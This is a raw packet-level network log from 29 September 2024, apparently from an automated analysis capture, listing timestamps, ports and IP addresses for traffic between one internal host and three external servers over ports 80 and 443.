Sep 29, 2024 00:53:24.733526945 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.733532906 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.733545065 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.733582020 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.733675957 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.733689070 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.733699083 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.733705044 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.733710051 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.733717918 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.733722925 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.733727932 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.733733892 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.733736038 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.733740091 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.733747959 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.733758926 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.733763933 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.733766079 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.733772993 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.733781099 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.733794928 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.733809948 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.747133017 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747145891 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747153044 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747158051 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747164965 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747172117 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747226954 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.747226954 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.747248888 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747255087 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747265100 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747271061 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747277021 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747287989 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747293949 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747299910 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747303963 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747317076 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747318029 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.747318029 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.747359037 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747366905 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747375965 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747386932 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747409105 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.747409105 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.747442961 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.747529030 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747534037 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747545004 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747549057 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747554064 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747560024 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747571945 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747579098 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747601986 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747613907 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.747613907 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.747616053 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747622013 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747642040 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.747678041 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.747689009 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747699976 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747704983 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747714996 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747742891 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747747898 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747759104 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747761011 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.747761011 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.747762918 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747769117 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747781992 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747787952 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747795105 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747800112 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747811079 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747823000 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.747823954 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.747843981 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.747848034 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747859955 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747867107 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747873068 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747905016 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.747946978 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.747973919 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747987032 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.747997999 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.748001099 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.748017073 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.748023987 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.748028994 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.748034954 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.748039961 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.748051882 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.748053074 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.748053074 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.748056889 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.748061895 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.748073101 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.748136044 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.748295069 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.748298883 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.748322010 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.748361111 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.748361111 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.748378038 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.748383045 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.748394966 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.748408079 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.748414040 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.748433113 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.748465061 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.749279022 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.749291897 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.749303102 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.749308109 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.749314070 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.749325991 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.749331951 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.749372005 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.749372005 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.749574900 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.749679089 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.749684095 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.749700069 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.749705076 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.749716997 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.749722004 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.749727964 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.749731064 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.749731064 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.749778032 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.749778032 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.749834061 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.749840021 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.749851942 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.749871016 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.749876976 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.749888897 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.749895096 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.749907017 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.749922037 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.749922037 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.749988079 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.750032902 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.750040054 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.750051975 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.750093937 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.750096083 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.750099897 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.750111103 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.750116110 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.750163078 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.750163078 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.754317999 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754323959 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754333973 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754338980 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754343987 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754348040 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754353046 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754358053 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754363060 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754374981 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754375935 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.754379988 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754385948 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754391909 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754396915 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754401922 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754405975 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754411936 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754412889 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.754431009 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754432917 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.754436970 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754441977 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754462957 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.754462957 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.754484892 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.754620075 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754694939 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.754750967 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754755974 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754765987 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754770994 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754776001 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754796982 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.754822016 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754827976 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754832983 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.754841089 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754901886 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.754929066 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754936934 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754947901 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754951954 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754961967 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754966021 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754971027 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754980087 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754987001 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.754996061 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.754996061 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.754997969 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.755012035 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.755028963 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.755033970 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.755042076 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.755081892 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.755109072 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.755115986 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.755125999 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.755166054 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.755553961 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.755559921 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.755565882 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.755621910 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.755639076 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.755645037 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.755650997 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.755655050 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.755677938 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.755705118 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.755965948 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.756026983 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.756067991 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.756072998 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.756078959 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.756083012 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.756093025 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.756103992 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.756110907 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.756114960 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.756120920 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.756125927 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.756143093 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.756143093 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.756170034 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.756170988 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.756176949 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.756177902 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.756210089 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.756210089 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.756290913 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.757808924 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.757944107 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.757947922 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.757958889 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.757962942 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.757963896 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.757968903 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.757976055 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.757981062 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.758003950 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.758035898 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.763328075 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.763341904 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.763346910 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.763370037 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.763411045 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.763411045 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.763499022 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.763504982 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.763515949 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.763520956 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.763530970 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.763593912 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.763593912 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.763938904 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.763987064 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.763997078 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.764051914 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.764058113 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.764074087 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.764085054 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.764087915 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.764091969 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.764096975 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.764102936 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.764103889 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.764103889 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.764136076 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.764153957 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.764164925 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.764172077 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.764195919 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.764236927 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:24.764240026 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.764240026 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.764307976 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:24.766905069 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.766911983 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.766917944 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.766964912 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.766973019 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.766979933 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.766984940 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.766988993 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.766994953 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.766999960 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.767010927 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.767013073 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.767026901 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.767030001 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.767030001 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.767033100 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.767039061 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.767060995 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.767106056 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.767107964 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.767155886 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.767179012 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.767185926 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.767198086 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.767205954 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:24.767222881 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.767236948 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.767237902 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:24.767255068 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.767321110 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.767672062 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.767750978 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.767776012 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.767831087 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:24.768435955 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:24.768527985 CEST	49715	443	192.168.2.9	162.159.130.233
